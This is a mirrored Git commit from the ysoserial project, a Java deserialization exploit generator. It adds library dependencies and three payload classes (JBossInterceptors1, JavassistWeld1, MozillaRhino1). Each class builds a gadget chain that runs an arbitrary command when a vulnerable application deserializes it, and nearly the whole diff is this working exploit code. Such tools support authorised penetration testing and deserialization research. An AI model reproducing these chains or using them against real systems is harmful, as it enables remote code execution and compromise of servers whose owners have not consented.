mirror of
https://github.com/frohoff/ysoserial.git
synced 2026-09-27 01:11:53 +08:00
Merge pull request #52 from matthiaskaiser/master
Adding the RhinoGadget, Javassist/Weld, JBossInterceptors Gadget to ysoserial.
This commit is contained in:
@@ -257,6 +257,46 @@
|
|||||||
<artifactId>jython-standalone</artifactId>
|
<artifactId>jython-standalone</artifactId>
|
||||||
<version>2.5.2</version>
|
<version>2.5.2</version>
|
||||||
</dependency>
|
</dependency>
|
||||||
|
<dependency>
|
||||||
|
<groupId>rhino</groupId>
|
||||||
|
<artifactId>js</artifactId>
|
||||||
|
<version>1.7R2</version>
|
||||||
|
</dependency>
|
||||||
|
<dependency>
|
||||||
|
<groupId>javassist</groupId>
|
||||||
|
<artifactId>javassist</artifactId>
|
||||||
|
<version>3.12.0.GA</version>
|
||||||
|
</dependency>
|
||||||
|
<dependency>
|
||||||
|
<groupId>org.jboss.weld</groupId>
|
||||||
|
<artifactId>weld-core</artifactId>
|
||||||
|
<version>1.1.33.Final</version>
|
||||||
|
</dependency>
|
||||||
|
<dependency>
|
||||||
|
<groupId>org.jboss.interceptor</groupId>
|
||||||
|
<artifactId>jboss-interceptor-core</artifactId>
|
||||||
|
<version>2.0.0.Final</version>
|
||||||
|
</dependency>
|
||||||
|
<dependency>
|
||||||
|
<groupId>org.jboss.interceptor</groupId>
|
||||||
|
<artifactId>jboss-interceptor-spi</artifactId>
|
||||||
|
<version>2.0.0.Final</version>
|
||||||
|
</dependency>
|
||||||
|
<dependency>
|
||||||
|
<groupId>javax.enterprise</groupId>
|
||||||
|
<artifactId>cdi-api</artifactId>
|
||||||
|
<version>1.0-SP1</version>
|
||||||
|
</dependency>
|
||||||
|
<dependency>
|
||||||
|
<groupId>javax.interceptor</groupId>
|
||||||
|
<artifactId>javax.interceptor-api</artifactId>
|
||||||
|
<version>3.1</version>
|
||||||
|
</dependency>
|
||||||
|
<dependency>
|
||||||
|
<groupId>org.slf4j</groupId>
|
||||||
|
<artifactId>slf4j-api</artifactId>
|
||||||
|
<version>1.7.21</version>
|
||||||
|
</dependency>
|
||||||
</dependencies>
|
</dependencies>
|
||||||
|
|
||||||
<profiles>
|
<profiles>
|
||||||
|
|||||||
@@ -0,0 +1,79 @@
|
|||||||
|
package ysoserial.payloads;
|
||||||
|
|
||||||
|
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
|
||||||
|
import org.jboss.interceptor.builder.InterceptionModelBuilder;
|
||||||
|
import org.jboss.interceptor.builder.MethodReference;
|
||||||
|
import org.jboss.interceptor.proxy.DefaultInvocationContextFactory;
|
||||||
|
import org.jboss.interceptor.proxy.InterceptorMethodHandler;
|
||||||
|
import org.jboss.interceptor.reader.ClassMetadataInterceptorReference;
|
||||||
|
import org.jboss.interceptor.reader.DefaultMethodMetadata;
|
||||||
|
import org.jboss.interceptor.reader.ReflectiveClassMetadata;
|
||||||
|
import org.jboss.interceptor.reader.SimpleInterceptorMetadata;
|
||||||
|
import org.jboss.interceptor.spi.instance.InterceptorInstantiator;
|
||||||
|
import org.jboss.interceptor.spi.metadata.InterceptorReference;
|
||||||
|
import org.jboss.interceptor.spi.metadata.MethodMetadata;
|
||||||
|
import org.jboss.interceptor.spi.model.InterceptionModel;
|
||||||
|
import org.jboss.interceptor.spi.model.InterceptionType;
|
||||||
|
import ysoserial.payloads.annotation.Dependencies;
|
||||||
|
import ysoserial.payloads.util.Gadgets;
|
||||||
|
import ysoserial.payloads.util.PayloadRunner;
|
||||||
|
|
||||||
|
import java.lang.reflect.Constructor;
|
||||||
|
import java.util.*;
|
||||||
|
|
||||||
|
/*
|
||||||
|
by @matthias_kaiser
|
||||||
|
*/
|
||||||
|
@SuppressWarnings({"rawtypes", "unchecked"})
|
||||||
|
@Dependencies({"javassist:javassist:3.12.1.GA", "org.jboss.interceptor:jboss-interceptor-core:2.0.0.Final", "javax.enterprise:cdi-api:1.0-SP1", "javax.interceptor:javax.interceptor-api:3.1", "org.jboss.interceptor:jboss-interceptor-spi:2.0.0.Final", "org.slf4j:slf4j-api:1.7.21"})
|
||||||
|
public class JBossInterceptors1 implements ObjectPayload<Object> {
|
||||||
|
|
||||||
|
public Object getObject(final String command) throws Exception {
|
||||||
|
|
||||||
|
final Object gadget = Gadgets.createTemplatesImpl(command);
|
||||||
|
|
||||||
|
InterceptionModelBuilder builder = InterceptionModelBuilder.newBuilderFor(HashMap.class);
|
||||||
|
ReflectiveClassMetadata metadata = (ReflectiveClassMetadata) ReflectiveClassMetadata.of(HashMap.class);
|
||||||
|
InterceptorReference interceptorReference = ClassMetadataInterceptorReference.of(metadata);
|
||||||
|
|
||||||
|
Set<InterceptionType> s = new HashSet<InterceptionType>();
|
||||||
|
s.add(org.jboss.interceptor.spi.model.InterceptionType.POST_ACTIVATE);
|
||||||
|
|
||||||
|
Constructor defaultMethodMetadataConstructor = DefaultMethodMetadata.class.getDeclaredConstructor(Set.class, MethodReference.class);
|
||||||
|
defaultMethodMetadataConstructor.setAccessible(true);
|
||||||
|
MethodMetadata methodMetadata = (MethodMetadata) defaultMethodMetadataConstructor.newInstance(s,
|
||||||
|
MethodReference.of(TemplatesImpl.class.getMethod("newTransformer"), true));
|
||||||
|
|
||||||
|
List list = new ArrayList();
|
||||||
|
list.add(methodMetadata);
|
||||||
|
Map<org.jboss.interceptor.spi.model.InterceptionType, List<MethodMetadata>> hashMap = new HashMap<org.jboss.interceptor.spi.model.InterceptionType, List<MethodMetadata>>();
|
||||||
|
|
||||||
|
hashMap.put(org.jboss.interceptor.spi.model.InterceptionType.POST_ACTIVATE, list);
|
||||||
|
SimpleInterceptorMetadata simpleInterceptorMetadata = new SimpleInterceptorMetadata(interceptorReference, true, hashMap);
|
||||||
|
|
||||||
|
builder.interceptAll().with(simpleInterceptorMetadata);
|
||||||
|
|
||||||
|
InterceptionModel model = builder.build();
|
||||||
|
|
||||||
|
HashMap map = new HashMap();
|
||||||
|
map.put("ysoserial", "ysoserial");
|
||||||
|
|
||||||
|
DefaultInvocationContextFactory factory = new DefaultInvocationContextFactory();
|
||||||
|
|
||||||
|
InterceptorInstantiator interceptorInstantiator = new InterceptorInstantiator() {
|
||||||
|
|
||||||
|
public Object createFor(InterceptorReference paramInterceptorReference) {
|
||||||
|
|
||||||
|
return gadget;
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
return new InterceptorMethodHandler(map, metadata, model, interceptorInstantiator, factory);
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public static void main(final String[] args) throws Exception {
|
||||||
|
PayloadRunner.run(JBossInterceptors1.class, args);
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,79 @@
|
|||||||
|
package ysoserial.payloads;
|
||||||
|
|
||||||
|
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
|
||||||
|
import org.jboss.weld.interceptor.builder.InterceptionModelBuilder;
|
||||||
|
import org.jboss.weld.interceptor.builder.MethodReference;
|
||||||
|
import org.jboss.weld.interceptor.proxy.DefaultInvocationContextFactory;
|
||||||
|
import org.jboss.weld.interceptor.proxy.InterceptorMethodHandler;
|
||||||
|
import org.jboss.weld.interceptor.reader.ClassMetadataInterceptorReference;
|
||||||
|
import org.jboss.weld.interceptor.reader.DefaultMethodMetadata;
|
||||||
|
import org.jboss.weld.interceptor.reader.ReflectiveClassMetadata;
|
||||||
|
import org.jboss.weld.interceptor.reader.SimpleInterceptorMetadata;
|
||||||
|
import org.jboss.weld.interceptor.spi.instance.InterceptorInstantiator;
|
||||||
|
import org.jboss.weld.interceptor.spi.metadata.InterceptorReference;
|
||||||
|
import org.jboss.weld.interceptor.spi.metadata.MethodMetadata;
|
||||||
|
import org.jboss.weld.interceptor.spi.model.InterceptionModel;
|
||||||
|
import org.jboss.weld.interceptor.spi.model.InterceptionType;
|
||||||
|
import ysoserial.payloads.annotation.Dependencies;
|
||||||
|
import ysoserial.payloads.util.Gadgets;
|
||||||
|
import ysoserial.payloads.util.PayloadRunner;
|
||||||
|
|
||||||
|
import java.lang.reflect.Constructor;
|
||||||
|
import java.util.*;
|
||||||
|
|
||||||
|
/*
|
||||||
|
by @matthias_kaiser
|
||||||
|
*/
|
||||||
|
@SuppressWarnings({"rawtypes", "unchecked"})
|
||||||
|
@Dependencies({"javassist:javassist:3.12.1.GA", "org.jboss.weld:weld-core:1.1.33.Final", "javax.enterprise:cdi-api:1.0-SP1", "javax.interceptor:javax.interceptor-api:3.1","org.jboss.interceptor:jboss-interceptor-spi:2.0.0.Final", "org.slf4j:slf4j-api:1.7.21"})
|
||||||
|
public class JavassistWeld1 implements ObjectPayload<Object> {
|
||||||
|
|
||||||
|
public Object getObject(final String command) throws Exception {
|
||||||
|
|
||||||
|
final Object gadget = Gadgets.createTemplatesImpl(command);
|
||||||
|
|
||||||
|
InterceptionModelBuilder builder = InterceptionModelBuilder.newBuilderFor(HashMap.class);
|
||||||
|
ReflectiveClassMetadata metadata = (ReflectiveClassMetadata) ReflectiveClassMetadata.of(HashMap.class);
|
||||||
|
InterceptorReference interceptorReference = ClassMetadataInterceptorReference.of(metadata);
|
||||||
|
|
||||||
|
Set<InterceptionType> s = new HashSet<InterceptionType>();
|
||||||
|
s.add(org.jboss.weld.interceptor.spi.model.InterceptionType.POST_ACTIVATE);
|
||||||
|
|
||||||
|
Constructor defaultMethodMetadataConstructor = DefaultMethodMetadata.class.getDeclaredConstructor(Set.class, MethodReference.class);
|
||||||
|
defaultMethodMetadataConstructor.setAccessible(true);
|
||||||
|
MethodMetadata methodMetadata = (MethodMetadata) defaultMethodMetadataConstructor.newInstance(s,
|
||||||
|
MethodReference.of(TemplatesImpl.class.getMethod("newTransformer"), true));
|
||||||
|
|
||||||
|
List list = new ArrayList();
|
||||||
|
list.add(methodMetadata);
|
||||||
|
Map<org.jboss.weld.interceptor.spi.model.InterceptionType, List<MethodMetadata>> hashMap = new HashMap<org.jboss.weld.interceptor.spi.model.InterceptionType, List<MethodMetadata>>();
|
||||||
|
|
||||||
|
hashMap.put(org.jboss.weld.interceptor.spi.model.InterceptionType.POST_ACTIVATE, list);
|
||||||
|
SimpleInterceptorMetadata simpleInterceptorMetadata = new SimpleInterceptorMetadata(interceptorReference, true, hashMap);
|
||||||
|
|
||||||
|
builder.interceptAll().with(simpleInterceptorMetadata);
|
||||||
|
|
||||||
|
InterceptionModel model = builder.build();
|
||||||
|
|
||||||
|
HashMap map = new HashMap();
|
||||||
|
map.put("ysoserial", "ysoserial");
|
||||||
|
|
||||||
|
DefaultInvocationContextFactory factory = new DefaultInvocationContextFactory();
|
||||||
|
|
||||||
|
InterceptorInstantiator interceptorInstantiator = new InterceptorInstantiator() {
|
||||||
|
|
||||||
|
public Object createFor(InterceptorReference paramInterceptorReference) {
|
||||||
|
|
||||||
|
return gadget;
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
return new InterceptorMethodHandler(map, metadata, model, interceptorInstantiator, factory);
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public static void main(final String[] args) throws Exception {
|
||||||
|
PayloadRunner.run(JavassistWeld1.class, args);
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,66 @@
|
|||||||
|
package ysoserial.payloads;
|
||||||
|
|
||||||
|
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
|
||||||
|
import org.mozilla.javascript.*;
|
||||||
|
import ysoserial.payloads.annotation.Dependencies;
|
||||||
|
import ysoserial.payloads.util.Gadgets;
|
||||||
|
import ysoserial.payloads.util.PayloadRunner;
|
||||||
|
|
||||||
|
import javax.management.BadAttributeValueExpException;
|
||||||
|
import java.lang.reflect.Constructor;
|
||||||
|
import java.lang.reflect.Field;
|
||||||
|
import java.lang.reflect.Method;
|
||||||
|
|
||||||
|
/*
|
||||||
|
by @matthias_kaiser
|
||||||
|
*/
|
||||||
|
@SuppressWarnings({"rawtypes", "unchecked"})
|
||||||
|
@Dependencies({"rhino:js:1.7R2"})
|
||||||
|
public class MozillaRhino1 implements ObjectPayload<Object> {
|
||||||
|
|
||||||
|
public Object getObject(final String command) throws Exception {
|
||||||
|
|
||||||
|
Class nativeErrorClass = Class.forName("org.mozilla.javascript.NativeError");
|
||||||
|
Constructor nativeErrorConstructor = nativeErrorClass.getDeclaredConstructor();
|
||||||
|
nativeErrorConstructor.setAccessible(true);
|
||||||
|
IdScriptableObject idScriptableObject = (IdScriptableObject) nativeErrorConstructor.newInstance();
|
||||||
|
|
||||||
|
Context context = Context.enter();
|
||||||
|
|
||||||
|
NativeObject scriptableObject = (NativeObject) context.initStandardObjects();
|
||||||
|
|
||||||
|
Method enterMethod = Context.class.getDeclaredMethod("enter");
|
||||||
|
NativeJavaMethod method = new NativeJavaMethod(enterMethod, "name");
|
||||||
|
idScriptableObject.setGetterOrSetter("name", 0, method, false);
|
||||||
|
|
||||||
|
Method newTransformer = TemplatesImpl.class.getDeclaredMethod("newTransformer");
|
||||||
|
NativeJavaMethod nativeJavaMethod = new NativeJavaMethod(newTransformer, "message");
|
||||||
|
idScriptableObject.setGetterOrSetter("message", 0, nativeJavaMethod, false);
|
||||||
|
|
||||||
|
Method getSlot = ScriptableObject.class.getDeclaredMethod("getSlot", String.class, int.class, int.class);
|
||||||
|
getSlot.setAccessible(true);
|
||||||
|
Object slot = getSlot.invoke(idScriptableObject, "name", 0, 1);
|
||||||
|
Field getter = slot.getClass().getDeclaredField("getter");
|
||||||
|
getter.setAccessible(true);
|
||||||
|
|
||||||
|
Class memberboxClass = Class.forName("org.mozilla.javascript.MemberBox");
|
||||||
|
Constructor memberboxClassConstructor = memberboxClass.getDeclaredConstructor(Method.class);
|
||||||
|
memberboxClassConstructor.setAccessible(true);
|
||||||
|
Object memberboxes = memberboxClassConstructor.newInstance(enterMethod);
|
||||||
|
getter.set(slot, memberboxes);
|
||||||
|
|
||||||
|
NativeJavaObject nativeObject = new NativeJavaObject(scriptableObject, Gadgets.createTemplatesImpl(command), TemplatesImpl.class);
|
||||||
|
idScriptableObject.setPrototype(nativeObject);
|
||||||
|
|
||||||
|
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
|
||||||
|
Field valField = badAttributeValueExpException.getClass().getDeclaredField("val");
|
||||||
|
valField.setAccessible(true);
|
||||||
|
valField.set(badAttributeValueExpException, idScriptableObject);
|
||||||
|
|
||||||
|
return badAttributeValueExpException;
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void main(final String[] args) throws Exception {
|
||||||
|
PayloadRunner.run(MozillaRhino1.class, args);
|
||||||
|
}
|
||||||
|
}
|
||||||
Reference in New Issue
Block a user